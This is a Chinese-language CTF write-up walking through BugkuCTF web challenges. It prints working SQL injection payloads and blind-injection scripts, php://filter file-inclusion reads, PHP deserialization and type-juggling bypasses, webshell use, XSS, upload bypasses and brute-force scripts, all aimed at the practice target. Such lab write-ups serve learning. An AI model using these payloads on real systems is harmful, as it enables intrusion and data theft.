20180810-bugkuctf-wp
BUGKUCTF-WP-未完,待续
web2-代码审计
在url的前面加上view-source:
来看看源码,然后flag就在源码里,KEY{Web-2-bugKssNNikls9100}
。
文件上传测试-文件上传
提示说是要上传一个php文件,先随便新建一个php文件,然后上传,发现是要上传一个图片文件,那么打开burpsuite,然后抓包,本来上传的内容是这样的。
1 | -----------------------------21339910311935 |
修改一下Content-Type,改成Content-Type: image/jpeg,然后go,成功得到flag。
HTTP Content-type 对照表:http://tool.oschina.net/commons/
计算器-代码审计
限制输入,查看源码,然后修改这个,把maxlength修改,然后输入正确答案,即可得到flag。
或者选择用bp抓包,然后修改数据。
web基础$_GET-代码审计
直接说要用get提交一个变量what,值为flag,直接在url的后面加上?what=flag
,构成http://120.24.86.145:8002/get/?what=flag
,然后得到flag。
web基础$_POST-代码审计
这次要用post的方法提交,用hackbar提交即可。
矛盾-代码审计
查看代码,要求就是要输入的num不是数字,但是值又等于1。
1 | is_numeric() — 检测变量是否为数字或数字字符串 |
输入以1为开头后接非数字的字符串,原理则是==时,一边为数字,则只比对变量的开头数字部分,后面会忽略。
web3-代码审计
打开后无限弹窗,在url加上view-source:
查看源码,发现注释
<!--KEY{J2sa42ahJK-HS11III}-->
实际上这就是
1 | 是 HTML、XML 等 SGML 类语言的转义序列(escape sequence)。它们不是「编码」。以 HTML 为例,这三种转义序列都称作 character reference:第一种是 character entity reference,后接预先定义的 entity 名称,而 entity 声明了自身指代的字符。 |
其实也可以不用管这么多,知道&#后面的是ASCII码即可,去掉&,#,;,然后跑去ASCII 在线转换器http://www.ab126.com/goju/1711.html
转换,得到flag。
sql注入-注入
查看源码,发现编码规则GB-2312,猜测为mysql宽字节注入。
1 | 简单讲解什么是宽字节注入: |
而在url后加上?id=1
发现能正常输出,但是id=2
就会啥也没有了,说明id=1是注入点。尝试一下输入?id=1%df' union select 1,database() %23
,发现是有数据库名字的出现。
然后再构造payload
1 | ?id=-1%df%27 union select 1,string from .key %23 |
得到一串字符,就是flag。
宽字节注入详解: http://www.cnblogs.com/ECJTUACM-873284962/p/8747543.html
域名解析-杂
题目要求的域名解析可以通过修改hosts文件达成
Windows下的hosts在C:\Windows\System32\drivers\etc
,打开后在最下面加上
120.24.86.145 flag.bugku.com
然后直接访问flag.bugku.com即可。
SQL注入1-注入
对id进行了过滤,然而strip_tags() 函数却又留下了漏洞
1 | trip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。 |
这么我们就可以在union中加入<a>
符号来绕过过滤
首先我们要先拿到数据库的名字id=-1 union select 1,database() #
那么构造的payload即是id=-1 un<a>ion se<a>lect 1,database() %23
,然后获得数据库名字为sql3。
然后我们就输入id=-1 un<a>ion se<a>lect 1,hash fr<a>om sql3.key %23
当然,其实也可以直接输入id=-1 un<a>ion se<a>lect 1,hash fr<a>om .key %23
来获得flag。
你必须让他停下-杂
打开后是一个不断跳转的网页,用burpsuite抓包,然后丢到repeater中,一路go即可得到flag。
本地包含——-网站炸了貌似
变量1-代码审计
正则表达式的匹配就是要args这个变量要由任意大小写字母和0到9以及下划线组成,而后var_dump()则是显示变量的值和结构,那么我们就直接输出GLOBALS这个全局变量,即是构造?agrs=GLOBALS
1 |
|
相关的正则表达式
1 | PS:下面看下正则表达式 \w \s \d \b |
web5-代码审计
题目说是JSP,然后查看源码,发现一连串的([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![ 后略
,这其实就是JSP的一种转换,实际上还是JSP代码,只需要在游览器中F12打开,然后执行这一串代码即可,记得转成大写。
1 | JavaScript是一种属于网络的脚本语言,已经被广泛用于Web应用开发,常用来为网页添加各式各样的动态功能,为用户提供更流畅美观的浏览效果。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的 |
头等舱-抓包
打开后发现什么都没有,查看源码也一样,那么用bp抓包看看,丢到repeater里面go一下,发现flag就在报头里。
网站被黑
打开后扫描敏感文件,扫出来个shell.php,访问后是个后台登录,结合提示说不难,那么应该是弱密码攻击,用bp抓包后用字典爆破攻击,发现hack的返回内容不一样,获得flag。
web4-代码审计
查看源码,看见有eval这个函数,就知道是执行里面的内容unescape(p1) + unescape('%35%34%61%61%32' + p2)
,百度一下函数unescape,发现是一个加密函数该函数的工作原理是这样的:通过找到形式为 %xx 和 %uxxxx 的字符序列(x 表示十六进制的数字),用 Unicode 字符 \u00xx 和 \uxxxx 替换这样的字符序列进行解码。
,还发现一个在线解密的网站https://escape.supfree.net/
,把两个字符串解密后获得源码。
1 | function checkSubmit() |
直接在输入框里输入67d709b2b54aa2aa648cf6e87a7114f1
即可得到flag。
flag在index里-注入
这道题目里有经典的本地文件包含漏洞+php伪协议的结合应用 。
注意到url地址 http://120.24.86.145:8005/post/index.php?file=show.php
这是一个典型的文件包含漏洞,(file关键字是提示,其实也是CTF的套路)。
这里用到了php的封装协议:http://php.net/manual/zh/wrappers.php.php
具体怎么用呢,先说结果:
http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
然后将得到的字符串base64解码得到index的源码:
1 | <html> |
1 | 现在具体说说file=php://filter/read=convert.base64-encode/resource=index.php的含义 |
更详细的wp:https://blog.csdn.net/wy_97/article/details/77431111
输入密码查看flag-杂
题目说的很明白,穷举攻击,用bp抓包后丢到Intruder
中,然后用python写一个5位数的字典,然后运行,找到其中长度不一致的查看,即是flag‘。
python相应的字典生成
1 | file=open('return.txt','w') |
当然,也可以选择用pyhton自己写脚本爆破
1 | from urllib import request |
点击一百万次-杂+注入+代码审计
查看源码,发现
1 | <script> |
发现当clicks这个变量大于1000000时,会通过一个post请求发送clicks,那么我们直接通过post提交一个clicks=100000000即可得到flag。
备份是个好习惯-代码审计
这一题提示是备份,打开网页后又啥也没有,扫描网站敏感文件,扫出了index.php.bak,那么访问下载下来,打开发现是index.php的源码
1 | include_once "flag.php"; |
整个即是要求我们要通过get的方法在url中输入变量key1和key2,虽说过滤了key,但只过滤了一次,只要构造kekeyy1
和kekeyy2
即可,然后key1的值要和key2的值不相等,但是hash值要想等。此时则要利用数组来绕过,构造的payload是?kkeyey1[]=1&kekeyy2[]=2
,flag到手。
成绩单-注入
首先是看见是sql查询,先用id=1' order by 3
来确定当前表一共有几列,发现有正常输出,则再来id=1' order by 4
,发现有4列,再来一次id=1' order by 5
,无输出则说明一共有4列。
然后就爆当前数据表的名字。
1 | id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version() # |
发现当前数据表为fl4g。
再爆数据表相应列的名字
1 | id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' # |
发现当前列为skctf_flag。
最后只要输入id=-1' union select 1,2,3,skctf_flag from fl4g #
即可获得flag。
秋名山老司机-杂
发现题目的要求是按照把显示的式子进行运算,然后提交。很明显有时间限制,那么写脚本提交
1 | import requests |
速度要快-杂
这题很坑,看题目很明显就是要写脚本,然后查看源码,让我们提交变量margin,然后就没有东西了,用bp抓包,发现返回的包的头信息flag,进行base64解密,变成奇怪的数据,再base64解密一次,发现最后的内容变成了正常的数据,那么明显就是要提交这个数据。和上一题一样,写脚本提交
1 | import requests |
cookies欺骗-杂
打开后发现urlhttp://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
后面的参数,a2V5cy50eHQ=
base64解密一下,得到keys.php,那么明显就是输出文件为filename,行数为line的内容,那么我们把index.php
base64加密一下,构造urlhttp://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw
,然后输入不同的line,可以获得整个index.php的内容。
写了个简单的脚本获取内容
1 | import requests |
则index.php为
1 |
|
所以要我们输出keys.php的内容,要有cookie[‘margin’],则用bp抓包,构造,即可获得flag
1 | GET /web11/index.php?line=0&filename=a2V5cy5waHA= HTTP/1.1 |
XSS-注入
首先是查看源码
1 | <body> |
发现了和
能够得知一块区域名为s,然后将s的内容嵌入html中,这恰恰是xss漏洞的原因。
然后输入<img src=1 onerror=alert<_key>
,发现没有弹窗,查看源代码,发现<>被转成了<,>。
1 | var s="?<img src=1 onerror=alert(1)>"; |
那么我们构造?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e
,用\u003c和\u003e来转义成<>,则可以得到flag。
never give up-代码审计
首先是打开后查看源码,里面有注释1p.html
,访问,然后发现跳转到了论坛,那么使用bp来拦截跳转,发现里面的一串url代码,然后url解密,解密后base64解码,解密后再次url解码。
或者可以使用view-source:
来防止跳转。
所获得代码为最开始打开网页的代码:
1 | ";if(!$_GET['id']) |
发现一个文件,直接访问http://120.24.86.145:8006/test/f4l2a3g.txt
,获得flag。
正式做法:
1 | $data==”bugku is a nice plateform!”:可以令a=php://input,然后POST传值 bugku is a nice plateform! 绕过。 |
welcome to bugkuctf-代码审计
相应wp:https://blog.csdn.net/csu_vc/article/details/78375203
和https://www.cnblogs.com/Pinging/p/8278168.html
首先打开后查看源码
1 | <!-- |
很明显要我们通过get输入变量。
首先是user,和上一题never give up一样,简单地通过txt=php://input,然后通过post的方法输入welcome to the bugkuctf,即可解决。
而这个include($file),则需要通过php://filter/read=convert.base64-encode/resource
来使用伪协议读取所包含文件的base64值。
然后构造payload为http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php
即可得到hint.php源码的base64加密后的结果。base64解密后得到源码。
hint.php的源代码为:
1 |
|
然后构造payload为http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=index.php
来查看index.php的源代码为:
1 |
|
看到unserialize,又是反序列化,那么我们就要构造相应的序列化。
现在看源码,则明白了,首先是TXT的绕过,然后是file的格式匹配,这是防止直接读取flag,同时会导入file,然后反序列化变量。
那么我们就先需要去进行序列化,可以去该网站进行在线php代码运行。
1 |
|
将hint.php里Flag类进行序列化,然后作为password的值,又因为我们要使得hint.php里的Flag类定义包含在其中,所以file=hint.php,因此构造以下payload,得到flag。
http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=index.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
过狗一句话-代码审计
看提示
1 | 送给大家一个过狗一句话 |
发现poc_2即是assert,assert类似eval,会将内容作为php代码来实现。
可以构造http://120.24.86.145:8010/?s=print_r(glob('*.*'))
来获得当前目录下的所有文件名中带’.‘的。
1 | glob定义和用法 |
又或者构造http://120.24.86.145:8010/?s=print_r(scandir('./'))
来获得
1 | scandir定义和用法 |
即可发现当前目录下有一个flag.txt的文件,直接访问即可。
别人的wp
1 | 根据提示直接已经构造了assert()可以直接构造语句到s即可。第一步查看文件,system(“ls”)无效,可以只用glob(pattern,flag)来匹配所有符合条件的文件,语句为print_r/var_dump(glob(‘*’)),找到flag.txt文件,输出之即可print_r/var_dump(file/file_get_contents(‘./flag.txt’))或者highlight_file/show_source(‘./flag.txt’)得到flag。 |
字符?正则?-代码审计
按着构造payload就可以了。
1 |
|
首先是key.*
这第一块,第一个key
直接匹配就好了,然后.
可以用任何字符来匹配,*表示之前子表达式匹配零次或多次,所以这一块的意思是以key开头,后面接任意字符串,字符或不接都可以。
然后是key.{4,7}
,这里的{4,7}
指的是之前子表达式匹配4次至7次。那么这一块的意思是以key开头,后面接4至7个字符。
第三块:\/\/(.*key)
,前面的:
直接匹配就好了,然后的\
是为了转义,使得/
不为特殊符号,即\/
指的就是/
,最后的(.*key)
是()是拆分成一个字符串,里面的内容和第一个类似,不过是以key结尾而已。总的意思先是一个/,然后接任意符号,再来一个/,再接任意个字符串,字符或不接,最后是一个key。
最后一块[a-z][[:punct:]]
,[a-z]
代表匹配a到z的字母,后面的[[:punct:]]
匹配的是标点符号。那么这里就是一个小写字符再接一个标点符号即可。
最后的最后的/i
表示的不区分大小写,即可以写KEY。
最后附上我的payloadhttp://120.24.86.145:8002/web10/index.php?id=keyakeyaaaakey:/a/akeya.
相应的部分正则表达式
符号 | 意思 | |||
---|---|---|---|---|
\w | 匹配字母或数字或下划线或汉字 等价于 ‘[^A-Za-z0-9_]’。 | |||
. | 匹配除换行符以外的任意字符 | |||
\s | 匹配任意的空白符 | |||
\d | 匹配数字 | |||
^ | 匹配字符串的开始 | |||
$ | 匹配字符串的结束 | |||
() | 标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 ( 和 )。 | |||
[] | 是定义匹配的字符范围。比如[a-zA-Z0-9]表示相应位置的字符要匹配英文字符和数字。[\s表示空格或者号] | |||
{} | 一般是用来匹配的长度。比如\s{3}表示匹配三个空格,\s[1,3]表示匹配1到3个空格 | |||
/i | 不区分大小写 insensitive | |||
/g | 全局匹配 global | |||
/m | 多行模式 multi | |||
/gi 和/ig | 就是/i 和/g的组合 | |||
* | 匹配前面的子表达式零次或多次。要匹配 字符,请使用 \。 | |||
+ | 匹配前面的子表达式一次或多次。要匹配 + 字符,请使用 +。 | |||
\ | 将下一个字符标记为或特殊字符、或原义字符、或向后引用、或八进制转义符。例如, ‘n’ 匹配字符 ‘n’。’\n’ 匹配换行符。序列 ‘\‘ 匹配 “\”,而 ‘(‘ 则匹配 “(“。 | |||
^ | 匹配输入字符串的开始位置,除非在方括号表达式中使用,此时它表示不接受该字符集合。要匹配 ^ 字符本身,请使用 \^。 | |||
\ | 指明两项之间的一个选择。要匹配 \ | ,请使用 \ | 。 | |
[:punct:] | 匹配任何标点符号 |
前女友(SKCTF)-代码审计
右键查看源码,可以看见code.txt,打开后发现原来又是绕过。
1 |
|
首先是v1!=v2,而md5值又要一样,两种方法:
1.设置v1和v2为数组,md5()在参数是数组时会报错然后返回null,所以两个数组的md5值会恒定相等。
2.可以利用 “0x” == “0a”的判断结果为1,找出经过加密后的两个md5值以0开头,接下去以都相同的值,直到遇到的字母的两个字符串 ,详情见https://blog.csdn.net/qq_35191331/article/details/77150045
而php中的strcmp(str1,str2)是用来对比字符串,若是str1>str2,则返回1,str1=str2则返回0,str1<str2则返回-1。而这里我们不知道flag变量是什么,所以使得v3为数组,则是数组和字符串对比,会返回false。
因此构造的payload为118.89.219.210:49162/?v1[]=1&v2[]=2&v3[]=3
login1(SKCTF)-注入
sql约束攻击,百度一下。原理则是当mysql处于ANSI模式,即宽松模式,在这种模式下插入数据如果不符合定义类型或长度,对数据类型调整或截断保存并警告。
在我们注册时,我们将用户名设置为admin 123
,他会进行select搜索,搜索数据库里面有没有同名用户,注意,此时是用完整的admin 123
进行搜索,所以数据库没有匹配的。
但是之后的insert操作时,由于字符串长度的问题,所以会造成截断,导致我们的admin 123
只会存储进去admin
一部分和一部分空格,而后面的
123`则会被忽略不计,则数据库里面就多了一个记录是admin的,而我们又知道密码的。
而在之后登陆的时候,在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说”admin”等同于”admin “,对于绝大多数情况来说都是成立的。因此我们只要输入账号admin,密码为我们所设置的值,然后数据库返回的反而是admin管理员的账号,我们也就可以越权了。
详情见https://blog.csdn.net/qq_32400847/article/details/54137747
你从哪里来-杂
打开后是一句are you from google?
,很明显就是抓包改信息头。打开bp抓包,然后在里面加入一句Referer: https://www.google.com
,然后得到flag了。
md5 collision(NUPT_CTF)-代码审计
bugku就是个**,居然不给源码,谁知道什么意思。百度到了源码。
这里很简单,就是要我们进行MD5碰撞,而这里就用不了神奇的数组绕过了,然而QNKCDZO
在md5后的值是0e830400451993494058024219903391
,PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
那么就很简单了,我们只要输入一个md5后的值为0e的即可。
0e开头md5汇总:https://www.ohlinge.cn/php/0e_md5.html
程序员本地网站-杂
打开后说从本地访问,那么用bp抓包,然后加上X-Forwarded-For: 127.0.0.1
,获得flag。
各种绕过-代码审计
直接给源码,按照条件输入即可。
1 |
|
一开始的urldecode是对输入的id进行url解码,可是后面的margin属于英语字符,不用编码。
而后面的uname和passwd要求不相等但是sha1后相等,用数组绕过即可。
构造的payload为http://120.24.86.145:8002/web7/?id=margin&uname[]=1
,并且通过post提交passwd[]=2
,得到flag。
web8-代码审计
这题一样直接给源码
1 |
|
extract函数将字符串里面的变量定义进行了操作,即是输入?a=1&b=2
,在本页面也会出现变量$a=1,$b=2
,那么按照这个特性,简单的构造即可。
这里要求的fn又是要求包含文件,而且内容要和我们输入的一致,使用php://input的伪协议绕过即可。构造的payload为http://120.24.86.145:8002/web8/?fn=php://input&ac=1
,然后通过post提交1
即可得到flag,
细心-杂
打开后是404,但是看着不是真正的404,而是写出来的而已,然后看源码,抓包都没有什么发现,最后只能用御剑开始扫描,扫出来一个robots.txt的文件,然后访问,发现resusl.php,访问,看见
1 | if ($_GET[x]==$password) 此处省略1w字 |
想到提示说是变成admin,开个脑洞,直接?x=admin
,获得flag。
求getshell-文件上传-没懂
看了是文件上传的,说了要上传的是图片而非PHP文件,那么直接上传个图片文件,然后bp抓包。
以下是百度的结果:
大佬说这道题是后缀名黑名单检测和类型检测
如果是walf严格匹配,通过修改Content-type后字母的大小写可以绕过检测,使得需要上传的文件可以到达服务器端,而服务器的容错率较高,一般我们上传的文件可以解析。然后就需要确定我们如何上传文件,这里将文件的后缀名改为.jpg和.png都不可行,在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤,成功上传,得到flag。
INSERT INTO注入
直接就给了源码
1 | error_reporting(0); |
上面的getIp函数,就是获取我们上传的ip地址,则用X-Forwarded-For
来提交我们的payload。而$ip_arr = explode(',', $ip);return $ip_arr[0];
,这里是指以,
分离我们的payload成数组,并返回数组的第一个,说明我们提交的payload不能出现逗号。
下面$sql="insert into client_ip (ip) values ('$ip')";
则是一个注入点,题目也说了是insert into注入,那就简单了,构造相应的payload即可。而error_reporting(0);
关闭了错误回显,insert注入本身又没有回显,所以要用别的方法来注入,我选的是基于时间的注入。
重点的payload为:1'+(select case when (substring((select database()) from "+str(pos)+" for 1)='"+str(word)+"') then sleep(5) else 1 end) and '1
。
select case when a else b end
,这个格式就是当case为真时,运行a,否则运行b。
substring((select database()) from "+str(pos)+" for 1)='"+str(word)+"')
,这里是因为不能用,
,所以就用from 1 for 1
来表示1,1,这里相当于substring((select database()) 1,1)
爆数据库的注入
1 | import requests |
爆表名
1 | import requests |
爆列名
1 | import requests |
爆flag
1 | import requests |
这是一个神奇的登陆框-注入
可以看到源码
1 | <div > |
先是输入1'
,然而却还是一样,重新输入1"
后发现居然会报错,那么可以确定可以注入,而且使用"
来闭合的。然后再输入1" or 1=1 #
,有回显,那么就简单了。
输入1" order by 3 #
,发现报错,那么查询只有两个值。
现在来获得数据库的名字-1" union select database(),1 #
,当前数据库为bugkusql1
。
然后再获取表名-1" union select concat(table_name),1 from information_schema.tables where table_schema='bugkusql1' #
得到表名为flag1。
最后来获取列名-1" union select concat(column_name),1 from information_schema.columns where table_schema='bugkusql1' and table_name='flag1' #
得到列名为flag1。
知道表名和列名直接-1" union select flag1,1 from flag1 #
,即可获得flag。
也可以使用sqlmap来进行暴库,详情见https://blog.csdn.net/qq_38412357/article/details/79559039
多次-注入
这一题真好玩,打开后,看见url的id=1
,那就输入几个id试试,当id=5
的时候说可以注入,那id应该就是注入点了,输入id=1'
,发现报错error。
再次输入id=1' #
发现还是报错,猜是过滤了#
,试一下输入id=1' %23
,发现正常。
然后输入id=1' and 1=1 %23
,发现出错了,那应该是过滤了部分单词,那么就要试出过滤了什么。
首先是输入id=1'^1 %23
,结果为0,那么按理报错,若是报错,再输入id=1'^0 %23
,结果为1,要是不报错,则说明这方法可以用。这里利用的就是异或。
然后开始来尝试看看有哪些关键字被过滤了,构造的payload为id=1'^(length('and')!=0) %23
,当关键字被过滤,长度则为0,那么应该正常输出。要是报错则说明没有被过滤。
可以试出来有被过滤的有and,or,union,select
,没有被过滤的为 concat,from,where,order,by
。
我们可以再次输入id=1'^(length('anandd')!=0) %23
,来判断是否是只过滤了一次,要是报错,则是只过滤了一次,就简单了。测试说明是对的,所以剩下的就是暴库了。
回想起之前输入不同的id有不同的回显,那么应该是有回显的注入,输入id=-1' ununionion selselectect 1,database() %23
,发现数据库的名字为web1002-1
,剩下的就简单了个屁呀。
注:information
里面也有or
,所以应该是infroorrmation
,日了。
然后获得表名-1' ununionion selselectect 1,table_name from infoorrmation_schema.tables where table_schema=database() %23
,发现表名为flag1。
然后获取列名-1' ununionion selselectect 1,column_name from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' %23
,发现列名为flag1。
剩下直接就搜索了id=-1' ununionion selselectect 1,flag1 from flag1 %23
,得到了flag:usOwycTju+FTUUzXosjr
,然而说有两个flag,所以继续在库里加油。
可以跳过下面这里,原来是flag1表里有多个列,蠢了:
构造payload来获取当前的数据库-1' ununionion selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() %23
,发现有另外一个表:hint
。
那么就获取hint表的列名id=-1' ununionion selselectect 1,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='hint' %23
,发现有两列,id
和contents
。
剩下就搜索了,然而发现这个就是我们之前web显示的内容。。。
那重来,构造payload来获取所有的数据库-1' ununionion selselectect 1,group_concat(table_name) from infoorrmation_schema.tables %23
发现表一共有:
1 | character_sets,collations,collation_character_set_applicability,columns,column_privileges,engines,events,files,global_status,global_variables,key_column_usage,parameters,partitions,plugins,processlist,profiling,referential_constraints,routines,schemata,schema_privileges,session_status,session_variables,statistics,tables,tablespaces,table_constraints,table_privileges,triggers,user_privileges,views,innodb_buffer_page,innodb_trx,innodb_buffer_pool_stats,innodb_lock_waits,innodb_cmpmem,innodb_cmp,innodb_locks,innodb_cmpmem_reset,innodb_cmp_reset,innodb_buffer_page_lru,flag1,hint |
没有什么特殊的表,忽然想到应该是flag1表里有多列,输入-1' ununionion selselectect 1,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' %23
,发现还有一列address
。
然后重新输入-1' ununionion selselectect 1,group_concat(address) from flag1 %23
,获得下一关地址。
和之前的操作一样试了试,感觉都差不多,都有过滤,而且有回显我的输入,所以很好判断过滤了什么。
过滤的:union,sleep,substr
,而且不是之前那种只过滤了一次,要用别的方法来绕过。
然而百度后,有两种方法可以做:
法一:
UpdateXml,mysql基于错误回显的注入:https://www.cnblogs.com/MiWhite/p/6228491.html
和https://blog.csdn.net/m0_37438418/article/details/80260813
相应的wp:https://blog.csdn.net/u011377996/article/details/79340100#t17
总结一下,构造的payload类似1' and updatexml(1,concat(1,database()),1) %23
1 | UPDATEXML (XML_document, XPath_string, new_value); |
使用updataxml这个函数,然而第二个参数要求是Xpath类型的变量。而concat(x1,x2)函数返回的字符串,不符合条件,所以会报错。顺便一提的是这里payload的1都是随意的,任意值均可,毕竟本来就是基于报错的。(这个是个设想,在本题是这样的,还不清楚别的怎么样)
因为本次注入有错误提示,所以我们可以基于错误的注入:
首先是数据库名字:1' and updatexml(1,concat(1,database()),1) %23
然后是表名:1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) %23
,注意,select这个短语要括起来,要不会报错。现在爆出表名class,flag2
。
再去flag2爆出列1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2')),1) %23
,爆出列为flag2,address
。
最后就简单了:1' and updatexml(1,concat(1,(select group_concat(flag2) from flag2)),1) %23
,成功爆出flag,记得是全部小写。
法二:
相应wp:https://www.cnblogs.com/nienie/p/8524519.html
所构造的payload为url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'" + str(i) + "',(select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(j) + "))=" + str(j) + "%23"
1 | LOCATE(substr,str) |
翻译过来的语句如下:
(select locate(binary'word',(select table_name from information_schema.tables where table_schema=database() limit 0,1),postion))=postion#
总的意思是先用里面select返回语句,然后用locate来判断某个字符是否在其中,在的话返回位置。
然后剩下的只要py即可:
首先是爆数据库的表名:
1 | import requests |
然后是爆出列名
1 | import requests |
最后是爆出flag
1 | import requests |
PHP_encrypt_1(ISCCCTF)-代码审计
题目的源码日常不完整,不给加密后的值,拿头做呀
1 |
|
翻译一下,首先是获得了ISCC的md5值,然后从ISCC的md5值取出和所要加密数据一样长的字符作为秘钥,要是ISCC的md5值不够长,那就重复。现在明文和秘钥都有了,依次取这两个的ASCII值,相加后取余128,再变回字符。
大佬写好的php脚本,基本是直接改了加密的脚本,简洁呀。
1 |
|
Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}
文件包含2–未完成
可以使用<script language=php> </script>
标签绕过这个验证
flag.php-代码审计
打开后发现是输入框,然而看了下源码
1 | <form method="POST" action="#"> |
这些输入框和按钮都是浮云,没有用的,然后用工具扫半天,啥也没有。百度之后才知道是通过get方法提交一个hint变量,就可以看见源码。payload为:http://120.24.86.145:8002/flagphp/index.php?hint=a
源码如下
1 |
|
发现又是一个关于序列化和反序列化的,那么只需要去构造一个序列化后的payload即可。
1 |
|
则我们要的即是s:21:"ISecer:www.isecer.com";
,然而这是一个坑,$KEY
是后面才定义的,前面的$KEY
还没有定义,即为空。所以我们要的payload为:s:0:"";
,null和空在弱类型里面是相等的。
1 | GET /flagphp/index.php HTTP/1.1 |
得到flag。
sql注入2
名字是sql注入,但实际上和sql注入一点关系都没有,是敏感文件泄露。用nikto扫描网站
发现是.DS_Store文件泄露,该文件是mac下的文件信息。
1 | DS_Store文件介绍 |
然后用大佬写好的工具直接运行即可获得目标网站的地址。
.DS_Store文件泄漏利用工具: ds_store_exp:http://www.lijiejie.com/ds_store_exp_ds_store_file_disclosure_exploit/
孙xx的博客
wp:
https://delcoding.github.io/2018/03/bugku-writeup4/
报错注入
打开后说是过滤一打词语,之后结合题目是报错注入,那就使用extractvalue()
或者updatexml()
这两个函数来报错。原理是其中一个变量要求是Xpath的,而我们用concat合成的字符串不符合条件导致报错。之前用过updatexml了,这一次使用extractvalue。
而他所过滤的空格可以使用回车换行符还替代即%0a
或%0d
。
先尝试以下注入,获得回显。
1 | ?id=1%0Aand%0Aextractvalue(1,concat(0x7e,(select%0Adatabase()),0x7e))%0A%23 |
0x7e
即是~
,这样子输出就会有~
作为开始和结束的标志,记得select
一句一定要括起来,要不不会有结果。
然后题目的要求是读取文件,我们就可以使用load_file(十六进制的文件名)这个函数来读取文件,注意要将文件名转成十六进制,而又有个问题是extractvalue
和updatexml
这两个函数的报错返回只有32个字符,再加上~
,那么一次只能输出30个字符,这里就用substr来截取相应的字符串,注意是从0开始的。
相应的payload如下,
1 | id=1%0Aand%0Aextractvalue(0x7e,concat(0x7e,substr(load_file(0x2f7661722f746573742f6b65795f312e706870),1,30),0x7e))%0A%23 |
这里有个问题是从1开始的话,会无法显示内容,是因为最开始有<?php
,导致内容被游览器解析了,就无法显示了,从2开始即没有问题。
也有个解决方法就是运行hex()函数,返回出十六进制内容,即没有问题,相应的payload为:
1 | id=1%0Aand%0Aextractvalue(0x7e,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),31,30)))%0A%0A%23 |
然后即可获得flag。记得套用他的模板,他的模板里的双引号不正常。
文件上传2(湖湘杯)
这题贼坑,说是文件上传,实际上是敏感文件泄露吧,扫一下网站发现有flag.php
,那就尝试一下http://120.24.86.145:9011/?op=php://filter/read=convert.base64-encode/resource=flag.php
,说没有该文件,那说明我们至少没弄错,然后输入http://120.24.86.145:9011/?op=php://filter/read=convert.base64-encode/resource=flag
,即会发现能够正常输出flag,base64解密即可。
可以去看看别的网页源码,下面是index.php的源码
1 |
|
发现include的时候附加了.php
。
未完,待续